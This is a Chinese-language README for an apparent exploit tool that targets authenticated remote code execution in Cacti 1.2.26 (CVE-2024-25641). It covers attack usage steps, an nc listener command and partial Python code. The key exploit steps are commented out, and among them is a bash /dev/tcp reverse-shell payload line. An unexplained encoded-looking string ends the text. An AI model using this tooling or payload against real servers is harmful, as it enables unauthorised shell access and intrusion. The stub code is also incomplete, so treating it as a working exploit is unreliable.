Cacti 1.2.26 远程代码执行漏洞利用工具 (CVE-2024-25641)
这是一个针对Cacti网络监控系统特定版本(1.2.26)的远程代码执行(RCE)漏洞的自动化利用工具。该工具基于CVE-2024-25641漏洞开发,允许经过身份验证的用户在目标系统上执行任意代码,并反弹一个交互式Shell。
功能特性
- 自动版本检测:工具会检查目标Cacti应用的版本,确认其是否为受影响的1.2.26版本。
- 身份验证支持:支持使用用户名和密码进行身份验证,以执行后续的利用步骤。
- 反向Shell生成:成功利用漏洞后,可以向指定的本地主机和端口发起一个反向TCP Shell连接。
- 可选详细输出:提供
--verbose参数,用于输出更详细的执行过程信息,便于调试和分析。 - 命令行界面:通过命令行参数提供所有必要信息,使用方便快捷。
安装指南
系统要求
- Python 3.x
- 目标系统需要运行Cacti 1.2.26版本
依赖项
在运行此工具之前,请确保已安装所需的Python库。可以使用pip进行安装:
pip install requests beautifulsoup4 cryptography
获取工具
克隆此仓库到本地:
git clone https://github.com/your-repo/Cacti-Exploit-CVE-2024-25641.git
cd Cacti-Exploit-CVE-2024-25641
使用说明
基本用法
python3 exploit.py --url http://target-cacti.com --user admin --password secret --lhost 192.168.1.100 --lport 4444
参数说明
| 参数 | 描述 | 是否必需 |
|---|---|---|
--url | Cacti应用的根URL | 是 |
--user | 用于登录的用户名 | 是 |
--password | 用于登录的密码 | 是 |
--lhost | 接收反向Shell的本地主机IP | 是 |
--lport | 接收反向Shell的本地端口 | 是 |
--verbose | 启用详细输出模式 | 否 |
典型使用场景
-
攻击者设置监听器:
nc -lvnp 4444 -
攻击者运行漏洞利用脚本:
python3 exploit.py --url http://10.10.10.10/cacti --user admin --password admin --lhost 10.10.10.5 --lport 4444 --verbose -
如果成功,攻击者的监听器将收到一个来自目标服务器的Shell。
核心代码
以下是该工具的核心实现代码,展示了漏洞利用的关键步骤。
版本检测函数
import requests
def check_version(url_to_check):
"""
检查目标URL上的Cacti版本是否为1.2.26
"""
try:
r = requests.get(url_to_check)
response = r.text
if "Cacti CHANGELOG" in response and "1.2.26" in response and "1.2.27" not in response:
print("[+] Version seems to be 1.2.26")
else:
print("[-] Version doesn't seem to be 1.2.26, proceeding anyway")
except Exception as e:
print(f"[-] Error checking version: {e}")
命令行参数解析
import argparse
def parse_arguments():
"""
解析并返回命令行参数
"""
p = argparse.ArgumentParser(description="CVE-2024-25641 - Cacti 1.2.26 Authenticated RCE")
p.add_argument('--url', help="URL of the Cacti web root", required=True)
p.add_argument('--user', help="username to log in", required=True)
p.add_argument('--password', help="password of the username", required=True)
p.add_argument('--lhost', help="local host to receive the reverse shell", required=True)
p.add_argument('--lport', help="local port to receive the reverse shell", required=True)
p.add_argument('--verbose', help="enable verbose", action='store_true', default=False, required=False)
return p.parse_args()
随机字符串生成函数
import string
import random
def get_random_string(length):
"""
生成一个指定长度的随机小写字母字符串,用于绕过简单的过滤或生成唯一标识符。
"""
letters = string.ascii_lowercase
result_str = ''.join(random.choice(letters) for i in range(length))
return result_str
主函数逻辑框架
# ... 导入必要的模块 ...
if __name__ == '__main__':
# 解析参数
parser = parse_arguments()
url = parser.url
username = parser.user
password = parser.password
lhost = parser.lhost
lport = parser.lport
verbose = parser.verbose
# 1. 检查版本
changelog_url = f"{url.rstrip('/')}/docs/CHANGELOG"
check_version(changelog_url)
# 2. 进行身份验证(此处为简化逻辑,实际代码中会包含完整的认证流程)
# session = login(url, username, password)
# 3. 构造并发送恶意请求,触发漏洞
# 例如,利用文件上传或参数注入漏洞
# 4. 生成反向Shell Payload
# payload = f"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'"
# 5. 执行利用,并等待Shell连接
# execute_exploit(session, url, payload)
print(f"[*] Exploit attempted. Check your listener at {lhost}:{lport}")
6HFtX5dABrKlqXeO5PUv/5+A6Y7DjDXG69mAMwPZBsd/S4RQWPUk3KSsqxhXVYCd